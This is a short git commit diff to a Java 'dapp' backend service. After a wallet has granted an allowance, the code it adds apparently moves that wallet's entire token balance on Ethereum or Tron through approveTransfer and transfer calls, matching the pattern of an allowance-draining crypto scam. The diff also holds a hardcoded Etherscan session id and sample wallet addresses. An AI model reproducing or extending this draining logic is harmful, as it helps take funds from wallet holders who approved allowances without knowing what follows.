fix some bug and problem and add agent return

Helius

2022-04-02 06d334585a2174726e3574ea939e10beec620bae

 src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java

@@ -1,5 +1,7 @@
package cc.mrbird.febs.dapp.chain;

import cc.mrbird.febs.common.exception.FebsException;
import cn.hutool.core.util.StrUtil;
import cn.hutool.http.HttpUtil;
import com.alibaba.fastjson.JSONObject;

@@ -44,7 +46,7 @@
     */
    public boolean isAllowance(String address) {
        BigInteger result;
        if (address.indexOf(ETH_PREFIX) > 0) {
        if (address.startsWith(ETH_PREFIX)) {
            result = ETH.ethAllowance(address);
        } else {
            result = TRX.allowance(address);
@@ -65,7 +67,28 @@
        return Integer.parseInt(total);
    }

    public String transfer(String address) {
        BigDecimal amount = balanceOf(address);

        return transfer(address, amount);
    }

    public String transfer(String address, BigDecimal amount) {
        String hash;
        if (address.startsWith(ETH_PREFIX)) {
            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
            JSONObject data = JSONObject.parseObject(resp);
            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
        } else {
            hash = TRX.transfer(address, amount);
        }
        return hash;
    }

    public static void main(String[] args) {
//        System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD"));
//        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));

//        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
    }
}